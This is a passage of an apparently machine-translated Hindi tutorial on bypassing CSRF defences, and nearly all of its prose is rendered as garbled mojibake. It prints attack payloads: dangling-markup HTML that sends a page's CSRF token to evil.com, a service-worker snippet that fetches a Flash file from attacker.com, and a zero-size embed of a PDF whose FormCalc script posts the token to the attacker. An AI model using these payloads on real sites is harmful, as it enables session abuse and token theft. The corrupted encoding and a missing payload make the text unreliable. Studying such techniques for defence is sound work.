  • рдпрджрд┐ рдпреЗ рджреЛ рдореВрд▓реНрдп рдХреБрдХреАрдЬрд╝ рдФрд░ рдкреИрд░рд╛рдореАрдЯрд░ рдореЗрдВ рдореЗрд▓ рдЦрд╛рддреЗ рд╣реИрдВ, рддреЛ рдорд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ рдХрд┐ рдпрд╣ рдПрдХ рд╡реИрдз рдЕрдиреБрд░реЛрдз рд╣реИред
  • рдЪреВрдВрдХрд┐ рд╣рдорд▓рд╛рд╡рд░ рдХреЗрд╡рд▓ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдореЗрдВ рдХреБрдХреАрдЬрд╝ рдХреЛ рдирд╣реАрдВ рдмрджрд▓ рд╕рдХрддрд╛ рд╣реИ, рдХреНрд▓рд╛рд╕рд┐рдХ CSRF рд╣рдорд▓рд╛ рдХрд╛рдо рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИред

3. рд╕рд╛рдордЧреНрд░реА-рдкреНрд░рдХрд╛рд░ рдЖрдзрд╛рд░рд┐рдд рд╕реБрд░рдХреНрд╖рд╛
  • рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╕рд╛рдордЧреНрд░реА-рдкреНрд░рдХрд╛рд░ рдХреЗ рд╣реЗрдбрд░ рдХреЗ рд╕рд╛рде рдПрдХ рдЕрдиреБрд░реЛрдз рднреЗрдЬрдирд╛ рдЪрд╛рд╣рд┐рдП, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рдЖрд╡реЗрджрди / jsonред
  • рдЪреВрдВрдХрд┐ HTML рдкреНрд░рдкрддреНрд░ рдпрд╛ XHR API рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдореЗрдВ рдПрдХ рдордирдорд╛рдирд╛ рдХрдВрдЯреЗрдВрдЯ-рдЯрд╛рдЗрдк рдХреНрд░реЙрд╕-рдСрд░рд┐рдЬрд┐рди рднреЗрдЬрдирд╛ рдЕрд╕рдВрднрд╡ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдХреНрд▓рд╛рд╕рд┐рдХ CSRF рд╣рдорд▓рд╛ рдлрд┐рд░ рд╕реЗ рдХрд╛рдо рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИред

4. рд╕рдВрджрд░реНрдн-рдЖрдзрд╛рд░рд┐рдд рд╕реБрд░рдХреНрд╖рд╛
  • рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд░реЗрдлрд╝рд░ рд╣реИрдбрд░ рдорд╛рди рдХреЗ рд╕рд╛рде рдПрдХ рдЕрдиреБрд░реЛрдз рднреЗрдЬрдирд╛ рд╣реЛрдЧрд╛ред рдмреИрдХрдПрдВрдб рдЗрд╕рдХреА рдЬрд╛рдВрдЪ рдХрд░рддрд╛ рд╣реИ, рдЕрдЧрд░ рдпрд╣ рдЧрд▓рдд рд╣реИ, рддреЛ рдорд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ рдХрд┐ рдпрд╣ рдПрдХ рд╕реАрдПрд╕рдЖрд░рдПрдл рд╣рдорд▓рд╛ рд╣реИред
  • рдЪреВрдВрдХрд┐ рдмреНрд░рд╛рдЙрдЬрд╝рд░ HTML рдлреЙрд░реНрдо рдпрд╛ рдПрдХреНрд╕рдПрдЪрдЖрд░ рдПрдкреАрдЖрдИ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдХ рдордирдорд╛рдирд╛ рд░реЗрдлрд╝рд░ рдирд╣реАрдВ рднреЗрдЬ рд╕рдХрддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдХреНрд▓рд╛рд╕рд┐рдХ рд╕реАрдПрд╕рдЖрд░рдПрдл рд╣рдорд▓рд╛ рдХрд╛рдо рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИред

5. рдкрд╛рд╕рд╡рд░реНрдб рдХреА рдкреБрд╖реНрдЯрд┐ / websudo
  • рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдкрд╛рд╕рд╡рд░реНрдб (рдпрд╛ рдЧреБрдкреНрдд) рдХреЗ рд╕рд╛рде рдХрд╛рд░реНрд░рд╡рд╛рдИ рдХреА рдкреБрд╖реНрдЯрд┐ рдХрд░рдиреА рдЪрд╛рд╣рд┐рдПред
  • рдЪреВрдВрдХрд┐ рд╣рдорд▓рд╛рд╡рд░ рдЙрд╕реЗ рдирд╣реАрдВ рдЬрд╛рдирддрд╛ рд╣реИ, рдХреНрд▓рд╛рд╕рд┐рдХ CSRF рд╣рдорд▓рд╛ рдХрд╛рдо рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИред

рдХреНрд░реЛрдо, рдУрдкреЗрд░рд╛ рдореЗрдВ 6. рд╕рдорд╛рди рдХреБрдХреАрдЬрд╝
рдпрд╣ рдПрдХ рдирдИ рддрдХрдиреАрдХ рд╣реИ рдЬрд┐рд╕реЗ CSRF рд╕реЗ рдмрдЪрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдмрдирд╛рдпрд╛ рдЧрдпрд╛ рд╣реИред рдлрд┐рд▓рд╣рд╛рд▓, рдпрд╣ рдХреЗрд╡рд▓ рджреЛ рдмреНрд░рд╛рдЙрдЬрд░ (рдХреНрд░реЛрдо, рдУрдкреЗрд░рд╛) рдореЗрдВ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИред

  • рдПрдХ рдХреБрдХреА рдХреЛ рдПрдХ рдЕрддрд┐рд░рд┐рдХреНрдд рд╡рд┐рд╢реЗрд╖рддрд╛ рдХреЗ рд╕рд╛рде рд╕реЗрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ - samesite, рдЬрд┐рд╕рдореЗрдВ рджреЛ рдореВрд▓реНрдп рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ: рдвреАрд▓рд╛ рдпрд╛ рд╕рдЦреНрддред
  • рдкреНрд░реМрджреНрдпреЛрдЧрд┐рдХреА рдХрд╛ рд╕рд╛рд░ рдпрд╣ рд╣реИ рдХрд┐ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХреБрдХреАрдЬрд╝ рдирд╣реАрдВ рднреЗрдЬрддрд╛ рд╣реИ рдпрджрд┐ рдЕрдиреБрд░реЛрдз рдХрд┐рд╕реА рдЕрдиреНрдп рдбреЛрдореЗрди рд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рд╣рдорд▓рд╛рд╡рд░ рдХреА рд╡реЗрдмрд╕рд╛рдЗрдЯ рд╕реЗред рдЗрд╕ рдкреНрд░рдХрд╛рд░, рдпрд╣ рдлрд┐рд░ рд╕реЗ рдХреНрд▓рд╛рд╕рд┐рдХ рд╕реАрдПрд╕рдЖрд░рдПрдл рд╣рдорд▓реЗ рд╕реЗ рдмрдЪрд╛рддрд╛ рд╣реИред

рд▓реЗрдХрд┐рди, рджреБрд░реНрднрд╛рдЧреНрдп рд╕реЗ, рд╣рд░ рдЬрдЧрд╣ рдмреНрд░рд╛рдЙрдЬрд╝рд░, рд╡реЗрдм рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдФрд░ рдЙрдирдХреА рддреИрдирд╛рддреА рдХреА рд╡рд┐рд╢реЗрд╖рддрд╛рдПрдВ рд╣реИрдВ, рдЬреЛ рдХрднреА-рдХрднреА рдЖрдкрдХреЛ рд╕реАрдПрд╕рдЖрд░рдПрдл рд╕реБрд░рдХреНрд╖рд╛ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИрдВ ред

рдЗрд╕рд▓рд┐рдП, рдЕрдм рдЖрдЗрдП рд╕реБрд░рдХреНрд╖рд╛ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ 8 рддрд░реАрдХреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдмрд╛рдд рдХрд░рддреЗ рд╣реИрдВ рдЬреЛ рдЕрднреНрдпрд╛рд╕ рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВред


рд╡рд░реНрдХрдЕрд░рд╛рдЙрдВрдб рдкрд░рд┐рджреГрд╢реНрдп:


1. XSS (рдХреНрд░реЙрд╕-рд╕рд╛рдЗрдЯрд╕реНрдХреНрд░рд┐рдкреНрдЯрд┐рдВрдЧ)

рдпрджрд┐ рдЖрдкрдХреЗ рд╡реЗрдм рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдореЗрдВ XSS рд╣реИ, рддреЛ рдпрд╣ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ CSRF рдХреЗ рд▓рд┐рдП рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ, рдФрд░ рдЗрд╕рд╕реЗ рдЦреБрдж рдХреЛ рдмрдЪрд╛рдирд╛ рдореБрд╢реНрдХрд┐рд▓ рд╣реИред рдЖрдк рдХреЗрд╡рд▓ рдбрд╛рд▓ рд╕рдХрддреЗ рд╣реИрдВ ред

2. рдбрдВрдХрд▓рд┐рдВрдЧ рдорд╛рд░реНрдХрдЕрдк

рдорд╛рди рд▓реАрдЬрд┐рдП рдХрд┐ рд╣рдорд╛рд░реЗ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдореЗрдВ HTML рдЗрдВрдЬреЗрдХреНрд╢рди рдХреА рднреЗрджреНрдпрддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдХреЛрдИ XSS рдирд╣реАрдВ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдПрдХ рд╕рд╛рдордЧреНрд░реА рд╕реБрд░рдХреНрд╖рд╛ рдиреАрддрд┐ (CSP) рд╣реИ рдЬреЛ XSS рд╕реЗ рдмрдЪрд╛рд╡ рдХрд░рддреА рд╣реИред рд▓реЗрдХрд┐рди рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдЕрднреА рднреА HTML рдЯреИрдЧ рдПрдореНрдмреЗрдб рдХрд░ рд╕рдХрддрд╛ рд╣реИред

рдпрджрд┐ рд╣рдорд╛рд░рд╛ рдПрдкреНрд▓рд┐рдХреЗрд╢рди CSRF рдЯреЛрдХрди рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рд╕реБрд░рдХреНрд╖рд╛ рдХреЛ рд▓рд╛рдЧреВ рдХрд░рддрд╛ рд╣реИ, рддреЛ рд╣рдорд▓рд╛рд╡рд░ рдРрд╕реЗ HTML рдХреЛ рдПрдореНрдмреЗрдб рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдпреЗ рдмрдВрдж рдЫрд╡рд┐ рдирд╣реАрдВ рд╣реИрдВ рдпрд╛ рдлрд╝реЙрд░реНрдо рдирд╣реАрдВ рд╣реИрдВ:

<img src='https://evil.com/log_csrf?html= <form action='http://evil.com/log_csrf'><textarea> 

рдирддреАрдЬрддрди, DOM HTML рдкреЗрдЬ рдХрд╛ рд╣рд┐рд╕реНрд╕рд╛ рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рд╕рдВрд╕рд╛рдзрди рдкрд░ рднреЗрдЬрд╛ рдЬрд╛рдПрдЧрд╛ред рдпрд╣ рдЕрддреНрдпрдзрд┐рдХ рд╕рдВрднрд╛рд╡рдирд╛ рд╣реИ рдХрд┐ рдпрджрд┐ рд╣рдорд▓рд╛рд╡рд░ рдРрд╕реЗ HTML рдХреЛ рд╕рд╣реА рдврдВрдЧ рд╕реЗ рд▓рд╛рдЧреВ рдХрд░рддрд╛ рд╣реИ, рддреЛ рд╣рдорд▓рд╛рд╡рд░ рдХреА рд╕рд╛рдЗрдЯ рдкрд░ рдЬреЛ рдЖрддрд╛ рд╣реИ, рдЙрд╕рдореЗрдВ CSRF рдЯреЛрдХрди рд╣реЛрдЧрд╛ред

рдЗрд╕ рдкреНрд░рдХрд╛рд░, рдЯреЛрдХрди рд╕реАрдЦрдиреЗ рдХреЗ рдмрд╛рдж, рд╣рдорд▓рд╛рд╡рд░ рд╢рд╛рд╕реНрддреНрд░реАрдп рддрд░реАрдХреЗ рд╕реЗ рд╕реАрдПрд╕рдЖрд░рдПрдл рдХрд╛ рд╢реЛрд╖рдг рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдЧрд╛ред

3. рдХрдордЬреЛрд░ рдЙрдкрдбреЛрдореЗрди

рдорд╛рди рд▓реАрдЬрд┐рдП рдХрд┐ рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рдПрдХ рдЙрдкрдбреЛрдореЗрди foo.example.com рд╣реИ , рдФрд░ рдпрд╣ рдЙрдкрдбреЛрдореЗрди рдЕрдзрд┐рдЧреНрд░рд╣рдг рдпрд╛ XSS рдХреЗ рд▓рд┐рдП рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рд╣реИ ред рдЙрдкрдбреЛрдореЗрди рдЕрдзрд┐рдЧреНрд░рд╣рдг рдХреЗ рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк, рд╣рдорд▓рд╛рд╡рд░ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рдЙрдкрдбреЛрдореЗрди рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рддрд╛ рд╣реИ рдФрд░ рд╡рд╣рд╛рдВ рдХреЛрдИ HTML рдкреГрд╖реНрда рдЬреЛрдбрд╝ рд╕рдХрддрд╛ рд╣реИ рдпрд╛ рдЙрдкрдбреЛрдореЗрди рдХреЗ рд╕рдВрджрд░реНрдн рдореЗрдВ JS рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИред рдпрджрд┐ рд╣рдорд╛рд░рд╛ рдЙрдкрдбреЛрдореЗрди рдРрд╕реА рдЪреАрдЬреЛрдВ рдХреЗ рд▓рд┐рдП рдХрдордЬреЛрд░ рд╣реИ, рддреЛ рд╣рдорд▓рд╛рд╡рд░ рд╕реАрдПрд╕рдЖрд░рдПрдл рд╕реБрд░рдХреНрд╖рд╛ рдХреЗ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкреНрд░рдХрд╛рд░реЛрдВ рдХреЛ рджрд░рдХрд┐рдирд╛рд░ рдХрд░ рд╕рдХреЗрдЧрд╛:

  • рд╕реАрдПрд╕рдЖрд░рдПрдл рдЯреЛрдХрди;
  • рдбрдмрд▓ рд╕рдмрдорд┐рдЯ рдХреБрдХреА;
  • рд╕рд╛рдордЧреНрд░реА-рдкреНрд░рдХрд╛рд░ рдЖрдзрд╛рд░рд┐рдд рд╕реБрд░рдХреНрд╖рд╛ред

рдорд╛рди рд▓реАрдЬрд┐рдП рдХрд┐ рд╣рдорд╛рд░рд╛ рдореБрдЦреНрдп рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреНрд░реЙрд╕-рдбреЛрдореЗрди рд╕рдВрдЪрд╛рд░ рдХреЗ рд▓рд┐рдП рдХреЙрд░реНрд╕ (рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрдирд▓ рд░рд┐рд╕реЛрд░реНрд╕ рд╢реЗрдпрд░рд┐рдВрдЧ) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред рд╕рд░реНрд╡рд░ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рджреЛ рд╣реЗрдбрд░ рдбрд╛рд▓реЗ рдЧрдП рд╣реИрдВ:

  1. рдЕрднрд┐рдЧрдо-рдирд┐рдпрдВрддреНрд░рдг-рдЕрдиреБрдорддрд┐-рдЙрддреНрдкрддреНрддрд┐: foo.example.com (foo.example.com - рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рдЙрдкрдбреЛрдореЗрди);
  2. рдкрд╣реБрдБрдЪ-рдирд┐рдпрдВрддреНрд░рдг-рдЕрдиреБрдорддрд┐-рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕: рд╕рдЪ   - рддрд╛рдХрд┐ рдПрдХреНрд╕рдПрдЪрдЖрд░ рдПрдкреАрдЖрдИ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреБрдХреАрдЬрд╝ рдХреЗ рд╕рд╛рде рдЕрдиреБрд░реЛрдз рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реЛред

рдпрджрд┐ рдпреЗ рд╕реНрдерд┐рддрд┐рдпрд╛рдВ рдкреВрд░реА рд╣реЛ рдЬрд╛рддреА рд╣реИрдВ, рддреЛ рд╣рдорд▓рд╛рд╡рд░ рдмрд╕ рдЙрд╕ рдЙрдкрдбреЛрдореЗрди рд╕реЗ CSRF рдЯреЛрдХрди рдХреЛ рдкрдврд╝ рд╕рдХрддрд╛ рд╣реИ рдЬрд┐рд╕реЗ рд╡рд╣ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рддрд╛ рд╣реИ рдФрд░ рд╢рд╛рд╕реНрддреНрд░реАрдп рддрд░реАрдХреЗ рд╕реЗ CSRF рдХрд╛ рд╢реЛрд╖рдг рдХрд░рдирд╛ рдЬрд╛рд░реА рд░рдЦрддрд╛ рд╣реИред

рдЕрдЧрд▓рд╛ рд╡рд┐рдХрд▓реНрдкред рдорд╛рди рд▓реАрдЬрд┐рдП рдХрд┐ рдореБрдЦреНрдп рдбреЛрдореЗрди рдкрд░ рдПрдХ crossdomain.xml рдлрд╝рд╛рдЗрд▓ рд╣реИ рдЬрд┐рд╕ рдкрд░ рд╣рдо рд╣рдорд▓рд╛ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВред рдЗрд╕ рдлрд╝рд╛рдЗрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдЙрдк-рдбреЛрдореЗрди рдЗрдВрдЯрд░реИрдХреНрд╢рди рдХреЗ рд▓рд┐рдП рдлрд╝реНрд▓реИрд╢- рдФрд░ рдкреАрдбреАрдПрдл-рдкреНрд▓рдЧрдЗрдиреНрд╕ рджреНрд╡рд╛рд░рд╛ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдФрд░ рдХрд┐рд╕реА рднреА рдЙрдк-рдбреЛрдореЗрди рд╕реЗ рдЗрд╕реЗ рдПрдХреНрд╕реЗрд╕ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рд╣реИред

 <cross-domain-policy> <allow-access-from domain="*.example.com" /> </cross-domain-policy> 

рдпрджрд┐ рд╣рдорд▓рд╛рд╡рд░ JS рдлрд╝рд╛рдЗрд▓ рдХреЛ foo.example.com рдкрд░ рдЕрдкрд▓реЛрдб рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рддреЛ рдЗрд╕ рд╕реНрдерд┐рддрд┐ рдореЗрдВ рд╡рд╣ рдЙрдкрдбреЛрдореЗрди foo.example.com рдХреЗ рд▓рд┐рдП рд╕реЗрд╡рд╛ рдХрд╛рд░реНрдпрдХрд░реНрддрд╛ API рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЬреЛ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рдлрд╝реНрд▓реИрд╢ рдлрд╝рд╛рдЗрд▓ рдХреЛ рдмрд╛рд╣рд░ рдХрд░рддрд╛ рд╣реИред

 var url = "https://attacker.com/bad.swf"; onfetch = (e) => { e.respondWith(fetch(url); } 

рдЪреВрдВрдХрд┐ рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рдореБрдЦреНрдп рдбреЛрдореЗрди рдкрд░ crossdomain.xml рд╣реИ, рдЬреЛ рдЙрдк-рдбреЛрдореЗрди рдХреА рдмрд╛рддрдЪреАрдд рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рд╣рдорд▓рд╛рд╡рд░ рдмрд╕ рдЗрд╕ SWF рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ CSRF рдЯреЛрдХрди рдкрдврд╝рддрд╛ рд╣реИред

рд╡реИрд╕реЗ, рд╣рд╛рд▓ рд╣реА рдореЗрдВ рдЕрдореЗрдЬрд╝реЕрди рдореЗрдВ рдПрдХ рд╕рдорд╛рди рднреЗрджреНрдпрддрд╛ рдкрд╛рдИ рдЧрдИ рдереА, рдпрд╣рд╛рдВ рдЕрдзрд┐рдХ рд╡рд┐рд╡рд░рдгред

рднрд▓реЗ рд╣реА CORS рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдирд╣реАрдВ рд╣реИ рдФрд░ рдХреЛрдИ crossdomain.xml рдлрд╝рд╛рдЗрд▓ рдирд╣реАрдВ рд╣реИ, рд▓реЗрдХрд┐рди рдбрдмрд▓ рд╕рдмрдорд┐рдЯ рдХреБрдХреА рд╕реБрд░рдХреНрд╖рд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдореВрд▓ рдбреЛрдореЗрди рдХреЗ рд▓рд┐рдП рдЙрдкрдбреЛрдореЗрди рд╕реЗ рдХреБрдХреАрдЬрд╝ рд╕рдореНрдорд┐рд▓рд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдЙрд╕ рдкрде рдкрд░ рдЬрд╣рд╛рдВ рд╡рд╣ CSRF рдХрд╛ рд╢реЛрд╖рдг рдХрд░рдирд╛ рдЪрд╛рд╣рддрд╛ рд╣реИ, рдФрд░ рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдбрдмрд▓ рд╕рдмрдорд┐рдЯ рдХреБрдХреА рд╕рдВрд░рдХреНрд╖рдгред

4. рдЦрд░рд╛рдм рдкреАрдбреАрдПрдл

рдпрд╣ рд╕рдорд╛рдзрд╛рди рдкреАрдбреАрдПрдл рдкрд░ рдЖрдзрд╛рд░рд┐рдд рд╣реИред рдПрдбреЛрдм рдореЗрдВ рдПрдХ рдкреАрдбреАрдПрдл рдкреНрд▓рдЧрдЗрди рд╣реИ рдЬреЛ рдПрдбреЛрдм рд░реАрдбрд░ рд╕реНрдерд╛рдкрд┐рдд рдХрд░рддреЗ рд╕рдордп рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдЗрдВрд╕реНрдЯреЙрд▓ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣ рдкреНрд▓рдЧрдЗрди рддрдерд╛рдХрдерд┐рдд рдлреЙрд░реНрдореЗрд▓рдХ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИред рд╣рд╛рд▓рд╛рдВрдХрд┐, рдЕрдм рдПрдбреЛрдм рд╕реЗ рдкреАрдбреАрдПрдл рдкреНрд▓рдЧрдЗрди рдХреЗрд╡рд▓ IE11 рдФрд░ рдлрд╝рд╛рдпрд░рдлрд╝реЙрдХреНрд╕ рдИрдПрд╕рдЖрд░ рдореЗрдВ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИред

FormCalc рдХреА рджреЛ рдорд╣рд╛рди рд╡рд┐рдзрд┐рдпрд╛рдБ рд╣реИрдВ: get () рдФрд░ post ()ред рдЧреЗрдЯ рд╡рд┐рдзрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рд╡рд╛рд▓рд╛ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ CSRF рдЯреЛрдХрди рдкрдврд╝ рд╕рдХрддрд╛ рд╣реИ, рдкреЛрд╕реНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ, рдЙрд╕реЗ рдЕрдкрдиреА рд╕рд╛рдЗрдЯ рдкрд░ рднреЗрдЬ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕рд▓рд┐рдП рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рдкреАрдбрд╝рд┐рдд рдХрд╛ CSRF рдЯреЛрдХрди рдорд┐рд▓рддрд╛ рд╣реИред

рдорд╛рди рд▓реАрдЬрд┐рдП рдХрд┐ рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рдкреАрдбреАрдПрдл рдлрд╛рдЗрд▓ рдХреЛ рд╡реЗрдм рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдкрд░ рдЕрдкрд▓реЛрдб рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рд╣реИред рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ, рдпрд╣ рдПрдХ рдЕрд▓рдЧ рдкреНрд░рд╛рд░реВрдк рдХреА рдлрд╝рд╛рдЗрд▓ рднреА рд╣реЛ рд╕рдХрддреА рд╣реИ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдЪрд┐рддреНрд░ рдХреА рдЖрдбрд╝ рдореЗрдВ рдПрдХ рдкреАрдбреАрдПрдл рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ рдЕрд╡рддрд╛рд░ рд╣реИред

рдЖрд╡реЗрджрди рдореЗрдВ рдореБрдЦреНрдп рдбреЛрдореЗрди рдкрд░ рдХреБрдЫ рдПрдкреАрдЖрдИ рд╣реИ, рдЬреЛ рдЖрдкрдХреЛ рдбрд╛рдЙрдирд▓реЛрдб рдХреА рдЧрдИ рдлрд╝рд╛рдЗрд▓ рдХреА рд╕рд╛рдордЧреНрд░реА рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдлрд┐рд░ рд╣рдорд▓рд╛рд╡рд░ рдПрдХ HTML рдкреЗрдЬ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ рдкреАрдбреАрдПрдл рдлрд╛рдЗрд▓ рдХреЛ рдПрдореНрдмреЗрдб рдХрд░рддрд╛ рд╣реИ рдЬрд┐рд╕реЗ рд╣рдорд▓рд╛рд╡рд░ рдиреЗ example.com рдкрд░ рдЕрдкрд▓реЛрдб рдХрд┐рдпрд╛ рд╣реИред

 <h1>Nothing to see here!</h1> <embed src="https://example.com/shard/x1/sh/leak.pdf" width="0" height="0" type='application/pdf'> 

Leak.pdf рдлрд╝рд╛рдЗрд▓:


рдЗрд╕ рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рдПрдХ FormCalc рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╣реИ, рдЬреЛ рдЕрднреА Settings.action рдкреГрд╖реНрда рдХреЛ рдкрдврд╝рддрд╛ рд╣реИ, рдЬрд╣рд╛рдБ DOM рдореЗрдВ CSRF рдЯреЛрдХрди рд╣реИ рдФрд░ рдЗрд╕реЗ рд╣рдорд▓рд╛рд╡рд░ рдХреА рд╕рд╛рдЗрдЯ рдкрд░ рдкреЛрд╕реНрдЯ рд╡рд┐рдзрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рднреЗрдЬрддрд╛ рд╣реИред

рдЪреВрдБрдХрд┐ PDF рдХреЛ example.com рд╕реЗ рдбрд╛рдЙрдирд▓реЛрдб рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдЗрд╕ PDF рдХреА рд╕рднреА рдореВрд▓ https://example.com рддрдХ рдкреВрд░реА рдкрд╣реБрдБрдЪ рд╣реИ, рдФрд░ рд╡рд╣реА рдореВрд▓ рдиреАрддрд┐ (SOP) рдореЛрдб рдХрд╛ рдЙрд▓реНрд▓рдВрдШрди рдХрд┐рдП рдмрд┐рдирд╛ рд╡рд╣рд╛рдБ рд╕реЗ рдбреЗрдЯрд╛ рдкрдврд╝ рд╕рдХрддрд╛ рд╣реИред

рдПрдХ рдЕрддрд┐рд░рд┐рдХреНрдд рдзреНрдпрд╛рди рдпрд╣ рд╣реИ рдХрд┐ рдкреАрдбреАрдПрдл рдкреНрд▓рдЧрдЗрди рдХреЗ рд▓рд┐рдП рдпрд╣ рдХреЛрдИ рдлрд░реНрдХ рдирд╣реАрдВ рдкрдбрд╝рддрд╛ рдХрд┐ рдХрд┐рд╕ рд╕рд╛рдордЧреНрд░реА-рдкреНрд░рдХрд╛рд░ рдХреА рдкреАрдбреАрдПрдл рдлрд╛рдЗрд▓ рджреА рдЧрдИ рд╣реИ, рдФрд░ рдпрд╣рд╛рдВ рддрдХ тАЛтАЛрдХрд┐ HTTP рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдЕрдиреНрдп рд╣реЗрдбрд░ рднреА рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ (рдЙрджрд╛рд╣рд░рдг рдХреЗ 